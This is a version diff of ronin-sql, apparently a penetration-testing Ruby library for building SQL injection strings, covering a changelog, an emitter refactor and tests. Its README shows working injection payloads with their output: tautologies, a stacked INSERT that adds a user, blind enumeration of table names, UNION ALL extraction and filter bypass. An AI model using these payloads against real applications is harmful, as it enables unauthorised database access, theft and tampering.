ronin-sql 1.0.0 → 1.1.0

Sign up to get free protection for your applications and to get access to all the features.
@@ -1,3 +1,15 @@
1
+ ### 1.1.0 / 2013-01-22
2
+
3
+ * Added {Ronin::SQL::InjectionExpr}, so that statements specified within
4
+ `and { }`, `or { }` blocks would not be appending to the
5
+ {Ronin::SQL::Injection} object.
6
+ * Made {Ronin::SQL::Field} emittable.
7
+ * Added {Ronin::SQL::Emitter#emit_argument}, so that any sub-statements will
8
+ be wrapped in `( )`.
9
+ * Improved {Ronin::SQL::Emitter#emit_field}.
10
+ * Fixed {Ronin::SQL::Emitter#emit} to pass {Ronin::SQL::Function}s to
11
+ {Ronin::SQL::Emitter#emit_function}.
12
+
1
13
  ### 1.0.0 / 2013-01-21
2
14
 
3
15
  * Require [Ruby] >= 1.9.1.
data/README.md CHANGED
@@ -8,13 +8,13 @@
8
8
 
9
9
  ## Description
10
10
 
11
- {Ronin::SQL} is a Ruby DSL for crafting SQL Injections (SQLi).
11
+ {Ronin::SQL} is a Ruby DSL for crafting [SQL Injections (SQLi)][SQLi].
12
12
 
13
13
  ### Features
14
14
 
15
15
  * Provides convenience methods for encoding/decoding SQL data.
16
16
  * Provides an Domain Specific Language (DSL) for crafting normal SQL and
17
- SQL injections.
17
+ [SQL injections][SQLi].
18
18
 
19
19
  ## Examples
20
20
 
@@ -43,9 +43,16 @@ Hex decode a String:
43
43
 
44
44
  ### SQLi DSL
45
45
 
46
- Injecting a `1=1` test into a String value:
46
+ Injecting a `1=1` test into a Integer comparison:
47
47
 
48
- sqli = Ronin::SQL::Injection.new(:escape => :string)
48
+ sqli = Ronin::SQL::Injection.new
49
+ sqli.or { 1 == 1 }
50
+ puts sqli
51
+ # 1 OR 1=1
52
+
53
+ Injecting a `1=1` test into a String comparison:
54
+
55
+ sqli = Ronin::SQL::Injection.new(escape: :string)
49
56
  sqli.or { string(1) == string(1) }
50
57
  puts sqli
51
58
  # 1' OR '1'='1
@@ -62,16 +69,69 @@ Clauses:
62
69
  sqli = Ronin::SQL::Injection.new
63
70
  sqli.or { 1 == 1 }.limit(0)
64
71
  puts sqli
65
- # 1 AND admin=1
72
+ # 1 OR 1=1 LIMIT 0
66
73
 
67
74
  Statements:
68
75
 
76
+ sqli = Ronin::SQL::Injection.new
77
+ sqli.and { 1 == 0 }
78
+ sqli.insert.into(:users).values('hacker','passw0rd','t')
79
+ puts sqli
80
+ # 1 AND 1=0; INSERT INTO users VALUES ('hacker','passw0rd','t')
81
+
82
+ Sub-Statements:
83
+
69
84
  sqli = Ronin::SQL::Injection.new
70
85
  sqli.union { select(1,2,3,4,id).from(users) }
71
86
  puts sqli
72
87
  # 1 UNION SELECT (1,2,3,4,id) FROM users
73
88
 
74
- Filter evasion:
89
+ Test if a table exists:
90
+
91
+ sqli = Ronin::SQL::Injection.new
92
+ sqli.and { select(count).from(:users) == 1 }
93
+ puts sqli
94
+ # 1 AND (SELECT COUNT(*) FROM users)=1
95
+
96
+ Create errors by using non-existant tables:
97
+
98
+ sqli = Ronin::SQL::Injection.new(escape: :string)
99
+ sqli.and { non_existant_table == '1' }
100
+ puts sqli
101
+ # 1' AND non_existant_table='1
102
+
103
+ Dumping all values of a column:
104
+
105
+ sqli = Ronin::SQL::Injection.new(escape: :string)
106
+ sqli.or { username.is_not(null) }.or { username == '' }
107
+ puts sqli
108
+ # 1' OR username IS NOT NULL OR username='
109
+
110
+ Enumerate through database table names:
111
+
112
+ sqli = Ronin::SQL::Injection.new
113
+ sqli.and {
114
+ ascii(
115
+ lower(
116
+ substring(
117
+ select(:name).top(1).from(sysobjects).where { xtype == 'U' }, 1, 1
118
+ )
119
+ )
120
+ ) > 116
121
+ }
122
+ puts sqli
123
+ # 1 AND ASCII(LOWER(SUBSTRING((SELECT name TOP 1 FROM sysobjects WHERE xtype='U'),1,1)))>116
124
+
125
+ Find user supplied tables via the `sysObjects` table:
126
+
127
+ sqli = Ronin::SQL::Injection.new
128
+ sqli.union_all {
129
+ select(1,2,3,4,5,6,name).from(sysObjects).where { xtype == 'U' }
130
+ }
131
+ puts sqli.to_sql(:terminate => true)
132
+ # 1 UNION ALL (SELECT (1,2,3,4,5,6,name) FROM sysObjects WHERE xtype='U');--
133
+
134
+ Bypass filters using `/**/` instead of spaces:
75
135
 
76
136
  sqli = Ronin::SQL::Injection.new
77
137
  sqli.union { select(1,2,3,4,id).from(users) }
@@ -107,4 +167,6 @@ GNU General Public License for more details.
107
167
  You should have received a copy of the GNU General Public License
108
168
  along with Ronin Asm. If not, see <http://www.gnu.org/licenses/>.
109
169
 
170
+ [SQLi]: http://en.wikipedia.org/wiki/SQL_injection
171
+
110
172
  [Ruby]: http://www.ruby-lang.org
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents a binary expression in SQL.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class BinaryExpr < Struct.new(:left,:operator,:right)
32
34
 
33
35
  include Operators
@@ -32,6 +32,8 @@ module Ronin
32
32
  #
33
33
  # Represents a SQL Clause.
34
34
  #
35
+ # @api semipublic
36
+ #
35
37
  class Clause < Struct.new(:keyword,:argument)
36
38
 
37
39
  include Literals
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating common SQL {Clause Clauses}.
27
27
  #
28
+ # @api public
29
+ #
28
30
  module Clauses
29
31
  #
30
32
  # The defined clauses of the statement.
@@ -170,6 +172,17 @@ module Ronin
170
172
  clause(:UNION,&block)
171
173
  end
172
174
 
175
+ #
176
+ # Appends a `UNION ALL` clause.
177
+ #
178
+ # @return [self]
179
+ #
180
+ # @since 1.1.0
181
+ #
182
+ def union_all(&block)
183
+ clause([:UNION, :ALL],&block)
184
+ end
185
+
173
186
  #
174
187
  # Appends a `GROUP BY` clause.
175
188
  #
@@ -27,12 +27,16 @@ module Ronin
27
27
  #
28
28
  # Allows an object to be converted to raw SQL.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Emittable
31
33
  #
32
34
  # Creates a new emitter.
33
35
  #
34
36
  # @param [Hash] options
35
37
  # Additional options for {Emitter#initialize}.
38
+ #
39
+ # @api private
36
40
  #
37
41
  def emitter(options={})
38
42
  Emitter.new(options)
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Generates raw SQL.
29
29
  #
30
+ # @api private
31
+ #
30
32
  class Emitter
31
33
 
32
34
  # The case to use when emitting keywords
@@ -89,18 +91,16 @@ module Ronin
89
91
  #
90
92
  # Emits a SQL operator.
91
93
  #
92
- # @param [Symbol] op
94
+ # @param [Array<Symbol>, Symbol] op
93
95
  # The operator symbol.
94
96
  #
95
97
  # @return [String]
96
98
  # The raw SQL.
97
99
  #
98
100
  def emit_operator(op)
99
- op = op.to_s
100
-
101
101
  case op
102
- when /^[a-zA-Z]+$/ then emit_keyword(op)
103
- else op
102
+ when /^\W+$/ then op.to_s
103
+ else emit_keyword(op)
104
104
  end
105
105
  end
106
106
 
@@ -182,7 +182,13 @@ module Ronin
182
182
  # The raw SQL.
183
183
  #
184
184
  def emit_field(field)
185
- field.to_s
185
+ name = emit_keyword(field.name)
186
+
187
+ if field.parent
188
+ name = "#{emit_field(field.parent)}.#{name}"
189
+ end
190
+
191
+ return name
186
192
  end
187
193
 
188
194
  #
@@ -213,6 +219,24 @@ module Ronin
213
219
  }.join(',')
214
220
  end
215
221
 
222
+ #
223
+ # Emits a value used in an expression.
224
+ #
225
+ # @param [Statement, #to_sql] operand
226
+ # The operand to emit.
227
+ #
228
+ # @return [String]
229
+ # The raw SQL.
230
+ #
231
+ # @since 1.1.0
232
+ #
233
+ def emit_argument(operand)
234
+ case operand
235
+ when Statement then "(#{emit_statement(operand)})"
236
+ else emit(operand)
237
+ end
238
+ end
239
+
216
240
  #
217
241
  # Emits a SQL expression.
218
242
  #
@@ -227,22 +251,18 @@ module Ronin
227
251
 
228
252
  case expr
229
253
  when BinaryExpr
230
- left, right = emit(expr.left), emit(expr.right)
231
-
232
- left = "(#{left})" if expr.left.kind_of?(Statement)
233
- right = "(#{right})" if expr.right.kind_of?(Statement)
254
+ left, right = emit_argument(expr.left), emit_argument(expr.right)
234
255
 
235
256
  case op
236
- when /^\w+$/ then [left, op, right].join(@space)
237
- else "#{left}#{op}#{right}"
257
+ when /^\W+$/ then "#{left}#{op}#{right}"
258
+ else [left, op, right].join(@space)
238
259
  end
239
260
  when UnaryExpr
240
- operand = emit(expr.operand)
241
- operand = "(#{operand})" if expr.operand.kind_of?(Statement)
261
+ operand = emit_argument(expr.operand)
242
262
 
243
- case op
244
- when /^\w+$/ then [op, operand].join(@space)
245
- else "#{op}#{operand}"
263
+ case expr.operator
264
+ when /^\W+$/ then "#{op}#{operand}"
265
+ else [op, operand].join(@space)
246
266
  end
247
267
  end
248
268
  end
@@ -258,7 +278,7 @@ module Ronin
258
278
  #
259
279
  def emit_function(function)
260
280
  name = emit_keyword(function.name)
261
- arguments = function.arguments.map { |argument| emit(argument) }
281
+ arguments = function.arguments.map { |value| emit_argument(value) }
262
282
 
263
283
  return "#{name}(#{arguments.join(',')})"
264
284
  end
@@ -284,10 +304,12 @@ module Ronin
284
304
  when Float then emit_decimal(object)
285
305
  when String then emit_string(object)
286
306
  when Literal then emit(object.value)
287
- when Field, Symbol then emit_field(object)
307
+ when Symbol then emit_keyword(object)
308
+ when Field then emit_field(object)
288
309
  when Array then emit_list(object)
289
310
  when Hash then emit_assignments(object)
290
311
  when BinaryExpr, UnaryExpr then emit_expression(object)
312
+ when Function then emit_function(object)
291
313
  when Clause then emit_clause(object)
292
314
  when Statement then emit_statement(object)
293
315
  when StatementList then emit_statement_list(object)
@@ -313,7 +335,7 @@ module Ronin
313
335
  sql = emit_keyword(clause.keyword)
314
336
 
315
337
  unless clause.argument.nil?
316
- sql << @space << emit(clause.argument)
338
+ sql << @space << emit_argument(clause.argument)
317
339
  end
318
340
 
319
341
  return sql
@@ -345,7 +367,16 @@ module Ronin
345
367
  sql = emit_keyword(stmt.keyword)
346
368
 
347
369
  unless stmt.argument.nil?
348
- sql << @space << emit(stmt.argument)
370
+ case stmt.argument
371
+ when Array
372
+ sql << @space << if stmt.argument.length == 1
373
+ emit_argument(stmt.argument[0])
374
+ else
375
+ emit_list(stmt.argument)
376
+ end
377
+ else
378
+ sql << @space << emit_argument(stmt.argument)
379
+ end
349
380
  end
350
381
 
351
382
  unless stmt.clauses.empty?
@@ -21,15 +21,19 @@
21
21
  #
22
22
 
23
23
  require 'ronin/sql/operators'
24
+ require 'ronin/sql/emittable'
24
25
 
25
26
  module Ronin
26
27
  module SQL
27
28
  #
28
29
  # Represents a SQL column, table or database name.
29
30
  #
31
+ # @api semipublic
32
+ #
30
33
  class Field < Struct.new(:name,:parent)
31
34
 
32
35
  include Operators
36
+ include Emittable
33
37
 
34
38
  #
35
39
  # Initializes the new field.
@@ -61,18 +65,6 @@ module Ronin
61
65
  return field
62
66
  end
63
67
 
64
- #
65
- # Converts the field to a String.
66
- #
67
- # @return [String]
68
- # The full field name.
69
- #
70
- def to_s
71
- if parent then "#{parent}.#{name}"
72
- else name.to_s
73
- end
74
- end
75
-
76
68
  alias to_str to_s
77
69
 
78
70
  protected
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Allows creating {Field Fields} via {#method_missing}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Fields
31
33
  #
32
34
  # @return [true]
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents a SQL function call.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class Function < Struct.new(:name,:arguments)
32
34
 
33
35
  include Operators
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Methods for creating common SQL {Function Functions}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Functions
31
33
  #
32
34
  # @!group Aggregate Functions
@@ -20,9 +20,9 @@
20
20
  # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
21
  #
22
22
 
23
- require 'ronin/sql/binary_expr'
24
23
  require 'ronin/sql/literals'
25
24
  require 'ronin/sql/clauses'
25
+ require 'ronin/sql/injection_expr'
26
26
  require 'ronin/sql/statement_list'
27
27
 
28
28
  module Ronin
@@ -30,6 +30,10 @@ module Ronin
30
30
  #
31
31
  # Represents a SQL injection (SQLi).
32
32
  #
33
+ # @api public
34
+ #
35
+ # @see http://en.wikipedia.org/wiki/SQL_injection
36
+ #
33
37
  class Injection < StatementList
34
38
 
35
39
  include Literals
@@ -47,9 +51,6 @@ module Ronin
47
51
  # The type of element to escape out of
48
52
  attr_reader :escape
49
53
 
50
- # The place holder data
51
- attr_reader :place_holder
52
-
53
54
  # The expression that will be injected
54
55
  attr_reader :expression
55
56
 
@@ -78,11 +79,12 @@ module Ronin
78
79
  #
79
80
  def initialize(options={},&block)
80
81
  @escape = options.fetch(:escape,:integer)
81
- @place_holder = options.fetch(:place_holder) do
82
+
83
+ place_holder = options.fetch(:place_holder) do
82
84
  PLACE_HOLDERS.fetch(@escape)
83
85
  end
84
86
 
85
- @expression = @place_holder
87
+ @expression = InjectionExpr.new(place_holder)
86
88
 
87
89
  super(&block)
88
90
  end
@@ -90,44 +92,34 @@ module Ronin
90
92
  #
91
93
  # Appends an `AND` expression to the injection.
92
94
  #
93
- # @yield [(injection)]
95
+ # @yield [(expr)]
94
96
  # The return value of the block will be used as the right-hand side
95
97
  # operand. If the block accepts an argument, it will be called with
96
98
  # the injection.
97
99
  #
98
- # @yieldparam [Injection] injection
100
+ # @yieldparam [InjectionExpr] expr
99
101
  #
100
102
  # @return [self]
101
103
  #
102
104
  def and(&block)
103
- value = case block.arity
104
- when 0 then instance_eval(&block)
105
- else block.call(self)
106
- end
107
-
108
- @expression = BinaryExpr.new(@expression,:AND,value)
105
+ @expression.and(&block)
109
106
  return self
110
107
  end
111
108
 
112
109
  #
113
110
  # Appends an `OR` expression to the injection.
114
111
  #
115
- # @yield [(injection)]
112
+ # @yield [(expr)]
116
113
  # The return value of the block will be used as the right-hand side
117
114
  # operand. If the block accepts an argument, it will be called with
118
- # the injection.
115
+ # the injection expression.
119
116
  #
120
- # @yieldparam [Injection] injection
117
+ # @yieldparam [InjectionExp] expr
121
118
  #
122
119
  # @return [self]
123
120
  #
124
121
  def or(&block)
125
- value = case block.arity
126
- when 0 then instance_eval(&block)
127
- else block.call(self)
128
- end
129
-
130
- @expression = BinaryExpr.new(@expression,:OR,value)
122
+ @expression.or(&block)
131
123
  return self
132
124
  end
133
125
 
@@ -145,9 +137,7 @@ module Ronin
145
137
  #
146
138
  def to_sql(options={})
147
139
  emitter = emitter(options)
148
- sql = ''
149
-
150
- sql << emitter.emit(@expression)
140
+ sql = @expression.to_sql(options)
151
141
 
152
142
  unless clauses.empty?
153
143
  sql << emitter.space << emitter.emit_clauses(clauses)
@@ -0,0 +1,113 @@
1
+ #
2
+ # Ronin SQL - A Ruby DSL for crafting SQL Injections.
3
+ #
4
+ # Copyright (c) 2007-2013 Hal Brodigan (postmodern.mod3 at gmail.com)
5
+ #
6
+ # This file is part of Ronin SQL.
7
+ #
8
+ # This program is free software; you can redistribute it and/or modify
9
+ # it under the terms of the GNU General Public License as published by
10
+ # the Free Software Foundation; either version 2 of the License, or
11
+ # (at your option) any later version.
12
+ #
13
+ # This program is distributed in the hope that it will be useful,
14
+ # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
+ # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
+ # GNU General Public License for more details.
17
+ #
18
+ # You should have received a copy of the GNU General Public License
19
+ # along with this program; if not, write to the Free Software
20
+ # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
+ #
22
+
23
+ require 'ronin/sql/binary_expr'
24
+ require 'ronin/sql/literals'
25
+ require 'ronin/sql/fields'
26
+ require 'ronin/sql/functions'
27
+ require 'ronin/sql/statements'
28
+ require 'ronin/sql/emittable'
29
+
30
+ module Ronin
31
+ module SQL
32
+ #
33
+ # @api private
34
+ #
35
+ # @since 1.1.0
36
+ #
37
+ class InjectionExpr
38
+
39
+ include Literals
40
+ include Fields
41
+ include Functions
42
+ include Statements
43
+ include Emittable
44
+
45
+ # The expression that will be injected
46
+ attr_reader :expression
47
+
48
+ #
49
+ # Initializes the new expression to inject.
50
+ #
51
+ # @param [String, Integer, Float, Array, Symbol] initial_value
52
+ # The initial value for the expression.
53
+ #
54
+ def initialize(initial_value)
55
+ @expression = initial_value
56
+ end
57
+
58
+ #
59
+ # Appends an `AND` expression to the injection.
60
+ #
61
+ # @yield [(self)]
62
+ # The return value of the block will be used as the right-hand side
63
+ # operand. If the block accepts an argument, it will be called with
64
+ # the injection expression.
65
+ #
66
+ # @return [self]
67
+ #
68
+ def and(&block)
69
+ value = case block.arity
70
+ when 0 then instance_eval(&block)
71
+ else block.call(self)
72
+ end
73
+
74
+ @expression = BinaryExpr.new(@expression,:AND,value)
75
+ return self
76
+ end
77
+
78
+ #
79
+ # Appends an `OR` expression to the injection.
80
+ #
81
+ # @yield [(self)]
82
+ # The return value of the block will be used as the right-hand side
83
+ # operand. If the block accepts an argument, it will be called with
84
+ # the injection expression.
85
+ #
86
+ # @return [self]
87
+ #
88
+ def or(&block)
89
+ value = case block.arity
90
+ when 0 then instance_eval(&block)
91
+ else block.call(self)
92
+ end
93
+
94
+ @expression = BinaryExpr.new(@expression,:OR,value)
95
+ return self
96
+ end
97
+
98
+ #
99
+ # Emits the injection expression.
100
+ #
101
+ # @param [Hash] options
102
+ # Additional options for {Emitter#initialize}.
103
+ #
104
+ # @return [String]
105
+ # The raw SQL.
106
+ #
107
+ def to_sql(options={})
108
+ emitter(options).emit(@expression)
109
+ end
110
+
111
+ end
112
+ end
113
+ end
@@ -28,6 +28,8 @@ module Ronin
28
28
  #
29
29
  # Represents SQL literals.
30
30
  #
31
+ # @api semipublic
32
+ #
31
33
  class Literal < Struct.new(:value)
32
34
 
33
35
  include Operators
@@ -27,6 +27,8 @@ module Ronin
27
27
  #
28
28
  # Methods for creating SQL {Literals Literal}.
29
29
  #
30
+ # @api public
31
+ #
30
32
  module Literals
31
33
  #
32
34
  # Creates a `NULL` literal.
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating SQL expressions.
27
27
  #
28
+ # @api public
29
+ #
28
30
  # @see http://sqlite.org/lang_expr.html
29
31
  #
30
32
  module Operators
@@ -205,7 +207,7 @@ module Ronin
205
207
  # The new binary expression.
206
208
  #
207
209
  def is_not(other)
208
- BinaryExpr.new(self,:"IS NOT",other)
210
+ BinaryExpr.new(self,[:IS, :NOT],other)
209
211
  end
210
212
 
211
213
  #
@@ -24,6 +24,12 @@ require 'ronin/sql/statement_list'
24
24
  require 'ronin/sql/injection'
25
25
 
26
26
  module Ronin
27
+ #
28
+ # Provides a Domain Specific Language (DSL) for crafting complex
29
+ # {StatementList SQL} and SQL {Injection Injections} (SQLi).
30
+ #
31
+ # @see http://en.wikipedia.org/wiki/SQL_injection
32
+ #
27
33
  module SQL
28
34
 
29
35
  #
@@ -44,6 +50,8 @@ module Ronin
44
50
  # sql { select(1,2,3,4,id).from(users) }
45
51
  # # => #<Ronin::SQL::StatementList: SELECT (1,2,3,4,id) FROM users>
46
52
  #
53
+ # @api public
54
+ #
47
55
  def sql(&block)
48
56
  StatementList.new(&block)
49
57
  end
@@ -78,6 +86,8 @@ module Ronin
78
86
  # sqli { self.and { 1 == 1 }.select(1,2,3,4,id).from(users) }
79
87
  # # => #<Ronin::SQL::Injection: 1 AND 1=1; SELECT (1,2,3,4,id) FROM users; SELECT (1,2,3,4,id) FROM users>
80
88
  #
89
+ # @api public
90
+ #
81
91
  def sqli(options={},&block)
82
92
  Injection.new(options,&block)
83
93
  end
@@ -31,6 +31,8 @@ module Ronin
31
31
  #
32
32
  # Represents a SQL Statement.
33
33
  #
34
+ # @api semipublic
35
+ #
34
36
  class Statement < Struct.new(:keyword,:argument)
35
37
 
36
38
  include Literals
@@ -34,6 +34,8 @@ module Ronin
34
34
  #
35
35
  # Represents a list of SQL {Statements Statement}.
36
36
  #
37
+ # @api public
38
+ #
37
39
  class StatementList
38
40
 
39
41
  include Fields
@@ -25,6 +25,8 @@ module Ronin
25
25
  #
26
26
  # Methods for creating common SQL {Statement Statements}.
27
27
  #
28
+ # @api public
29
+ #
28
30
  module Statements
29
31
  #
30
32
  # Creates an arbitrary statement.
@@ -25,7 +25,9 @@ require 'ronin/sql/emittable'
25
25
  module Ronin
26
26
  module SQL
27
27
  #
28
- # Represents a unary-expression in SQL.
28
+ # Represents a unary expression in SQL.
29
+ #
30
+ # @api semipublic
29
31
  #
30
32
  class UnaryExpr < Struct.new(:operator,:operand)
31
33
 
@@ -23,6 +23,6 @@
23
23
  module Ronin
24
24
  module SQL
25
25
  # Ronin SQL version
26
- VERSION = '1.0.0'
26
+ VERSION = '1.1.0'
27
27
  end
28
28
  end
@@ -29,6 +29,9 @@ describe SQL::Clauses do
29
29
  include_examples "Clause", :full_join, [:FULL, :JOIN], :table
30
30
  include_examples "Clause", :on, :ON, proc { id == 1 }
31
31
  include_examples "Clause", :union, :UNION, proc { select(:*).from(:table) }
32
+ include_examples "Clause", :union_all, [:UNION, :ALL], proc {
33
+ select(:*).from(:table)
34
+ }
32
35
  include_examples "Clause", :group_by, [:GROUP, :BY], [:column1, :column2]
33
36
  include_examples "Clause", :having, :HAVING, proc { max(priv) > 100 }
34
37
  include_examples "Clause", :limit, :LIMIT, 100
@@ -74,17 +74,17 @@ describe SQL::Emitter do
74
74
  end
75
75
 
76
76
  describe "#emit_operator" do
77
- context "when the operator is upper-case alphabetic text" do
78
- subject { described_class.new(case: :lower) }
79
-
80
- it "should emit a keyword" do
81
- subject.emit_operator(:AS).should == 'as'
77
+ context "when the operator is a symbol" do
78
+ it "should emit a String" do
79
+ subject.emit_operator(:"!=").should == '!='
82
80
  end
83
81
  end
84
82
 
85
83
  context "otherwise" do
86
- it "should emit a String" do
87
- subject.emit_operator(:"!=").should == '!='
84
+ subject { described_class.new(case: :lower) }
85
+
86
+ it "should emit a keyword" do
87
+ subject.emit_operator(:AS).should == 'as'
88
88
  end
89
89
  end
90
90
  end
@@ -134,8 +134,21 @@ describe SQL::Emitter do
134
134
  end
135
135
 
136
136
  describe "#emit_field" do
137
- it "should emit a String" do
138
- subject.emit_field(:id).should == 'id'
137
+ subject { described_class.new(case: :upper) }
138
+
139
+ let(:field) { SQL::Field.new(:id) }
140
+
141
+ it "should emit the name as a keyword" do
142
+ subject.emit_field(field).should == 'ID'
143
+ end
144
+
145
+ context "when the field has a parent" do
146
+ let(:parent) { SQL::Field.new(:users) }
147
+ let(:field) { SQL::Field.new(:id,parent) }
148
+
149
+ it "should emit the parent then the field name" do
150
+ subject.emit_field(field).should == 'USERS.ID'
151
+ end
139
152
  end
140
153
  end
141
154
 
@@ -153,6 +166,24 @@ describe SQL::Emitter do
153
166
  end
154
167
  end
155
168
 
169
+ describe "#emit_argument" do
170
+ context "when the value is a Statement" do
171
+ let(:stmt) { SQL::Statement.new(:SELECT,1) }
172
+
173
+ it "should wrap the statement in ( )" do
174
+ subject.emit_argument(stmt).should == '(SELECT 1)'
175
+ end
176
+ end
177
+
178
+ context "otherwise" do
179
+ let(:value) { 'hello' }
180
+
181
+ it "should emit the value" do
182
+ subject.emit_argument(value).should == "'hello'"
183
+ end
184
+ end
185
+ end
186
+
156
187
  describe "#emit_expression" do
157
188
  context "when the expression is a BinaryExpr" do
158
189
  context "when the operator is alphabetic" do
@@ -161,7 +192,7 @@ describe SQL::Emitter do
161
192
  let(:expr) { SQL::BinaryExpr.new(:id,:is,1) }
162
193
 
163
194
  it "should emit the operands and operator as a keyword with spaces" do
164
- subject.emit_expression(expr).should == 'id IS 1'
195
+ subject.emit_expression(expr).should == 'ID IS 1'
165
196
  end
166
197
  end
167
198
 
@@ -327,6 +358,14 @@ describe SQL::Emitter do
327
358
  end
328
359
  end
329
360
 
361
+ context "when passed a Function" do
362
+ let(:func) { SQL::Function.new(:MAX,1,2) }
363
+
364
+ it "should emit the function" do
365
+ subject.emit(func).should == 'MAX(1,2)'
366
+ end
367
+ end
368
+
330
369
  context "when passed a Statment" do
331
370
  let(:stmt) { SQL::Statement.new(:SELECT,1) }
332
371
 
@@ -423,6 +462,22 @@ describe SQL::Emitter do
423
462
  subject.emit_statement(stmt).should == 'select 1'
424
463
  end
425
464
 
465
+ context "when the argument is an Array" do
466
+ let(:stmt) { SQL::Statement.new(:SELECT,[1,2,3]) }
467
+
468
+ it "should emit a list" do
469
+ subject.emit_statement(stmt).should == 'select (1,2,3)'
470
+ end
471
+
472
+ context "with only one element" do
473
+ let(:stmt) { SQL::Statement.new(:SELECT,[1]) }
474
+
475
+ it "should emit the element" do
476
+ subject.emit_statement(stmt).should == 'select 1'
477
+ end
478
+ end
479
+ end
480
+
426
481
  context "with custom :space" do
427
482
  subject { described_class.new(case: :lower, space: '/**/') }
428
483
 
@@ -0,0 +1,98 @@
1
+ require 'spec_helper'
2
+ require 'ronin/sql/injection_expr'
3
+
4
+ describe SQL::InjectionExpr do
5
+ let(:initial_value) { 1 }
6
+
7
+ subject { described_class.new(initial_value) }
8
+
9
+ describe "#and" do
10
+ context "on first call" do
11
+ before { subject.and { 1 } }
12
+
13
+ it "should create a 'AND' BinaryExpr" do
14
+ subject.expression.operator.should == :AND
15
+ end
16
+
17
+ it "should create an expression with the initial value" do
18
+ subject.expression.left.should == initial_value
19
+ end
20
+
21
+ it "should create an expression with the expression" do
22
+ subject.expression.right.should == 1
23
+ end
24
+ end
25
+
26
+ context "on multiple calls" do
27
+ before { subject.and { 1 }.and { 2 } }
28
+
29
+ it "should create another 'AND' BinaryExpr" do
30
+ subject.expression.operator.should == :AND
31
+ end
32
+
33
+ it "should nest the expressions" do
34
+ subject.expression.left.right.should == 1
35
+ subject.expression.right.should == 2
36
+ end
37
+ end
38
+ end
39
+
40
+ describe "#or" do
41
+ context "on first call" do
42
+ before { subject.or { 1 } }
43
+
44
+ it "should create a 'OR' BinaryExpr" do
45
+ subject.expression.operator.should == :OR
46
+ end
47
+
48
+ it "should create an expression with the initial value" do
49
+ subject.expression.left.should == initial_value
50
+ end
51
+
52
+ it "should create an expression with the expression" do
53
+ subject.expression.right.should == 1
54
+ end
55
+ end
56
+
57
+ context "on multiple calls" do
58
+ before { subject.or { 1 }.or { 2 } }
59
+
60
+ it "should create another 'OR' BinaryExpr" do
61
+ subject.expression.operator.should == :OR
62
+ end
63
+
64
+ it "should nest the expressions" do
65
+ subject.expression.left.right.should == 1
66
+ subject.expression.right.should == 2
67
+ end
68
+ end
69
+ end
70
+
71
+ describe "#to_sql" do
72
+ context "without additional expressions" do
73
+ subject { described_class.new(1) }
74
+
75
+ it "should still emit the initial value" do
76
+ subject.to_sql.should == '1'
77
+ end
78
+ end
79
+
80
+ context "with an additional expression" do
81
+ subject do
82
+ sqli = described_class.new(1)
83
+ sqli.or { 1 == 1 }
84
+ sqli
85
+ end
86
+
87
+ it "should emit the expression" do
88
+ subject.to_sql.should == '1 OR 1=1'
89
+ end
90
+
91
+ context "when given emitter options" do
92
+ it "should accept additional options" do
93
+ subject.to_sql(case: :lower).should == '1 or 1=1'
94
+ end
95
+ end
96
+ end
97
+ end
98
+ end
@@ -36,8 +36,9 @@ describe SQL::Injection do
36
36
 
37
37
  subject { described_class.new(:place_holder => data) }
38
38
 
39
- its(:place_holder) { should == data }
40
- its(:expression) { should == data }
39
+ it "should pass it to the InjectionExpr" do
40
+ subject.expression.expression.should == data
41
+ end
41
42
  end
42
43
 
43
44
  context "when a block is given" do
@@ -49,68 +50,6 @@ describe SQL::Injection do
49
50
  end
50
51
  end
51
52
 
52
- describe "#and" do
53
- context "on first call" do
54
- before { subject.and { 1 } }
55
-
56
- it "should create a 'AND' BinaryExpr" do
57
- subject.expression.operator.should == :AND
58
- end
59
-
60
- it "should create an expression with the place-holder" do
61
- subject.expression.left.should == subject.place_holder
62
- end
63
-
64
- it "should create an expression with the expression" do
65
- subject.expression.right.should == 1
66
- end
67
- end
68
-
69
- context "on multiple calls" do
70
- before { subject.and { 1 }.and { 2 } }
71
-
72
- it "should create another 'AND' BinaryExpr" do
73
- subject.expression.operator.should == :AND
74
- end
75
-
76
- it "should nest the expressions" do
77
- subject.expression.left.right.should == 1
78
- subject.expression.right.should == 2
79
- end
80
- end
81
- end
82
-
83
- describe "#or" do
84
- context "on first call" do
85
- before { subject.or { 1 } }
86
-
87
- it "should create a 'OR' BinaryExpr" do
88
- subject.expression.operator.should == :OR
89
- end
90
-
91
- it "should create an expression with the place-holder" do
92
- subject.expression.left.should == subject.place_holder
93
- end
94
-
95
- it "should create an expression with the expression" do
96
- subject.expression.right.should == 1
97
- end
98
- end
99
-
100
- context "on multiple calls" do
101
- before { subject.or { 1 }.or { 2 } }
102
-
103
- it "should create another 'OR' BinaryExpr" do
104
- subject.expression.operator.should == :OR
105
- end
106
-
107
- it "should nest the expressions" do
108
- subject.expression.left.right.should == 1
109
- subject.expression.right.should == 2
110
- end
111
- end
112
- end
113
-
114
53
  describe "#to_sql" do
115
54
  context "without an expression" do
116
55
  subject { described_class.new(place_holder: 1) }
@@ -25,7 +25,7 @@ describe SQL::Operators do
25
25
  include_examples "BinaryExpr", :!=
26
26
  include_examples "BinaryExpr", :as, :AS
27
27
  include_examples "BinaryExpr", :is, :IS
28
- include_examples "BinaryExpr", :is_not, :"IS NOT"
28
+ include_examples "BinaryExpr", :is_not, [:IS, :NOT]
29
29
  include_examples "BinaryExpr", :like, :LIKE
30
30
  include_examples "BinaryExpr", :glob, :GLOB
31
31
  include_examples "BinaryExpr", :match, :MATCH
metadata CHANGED
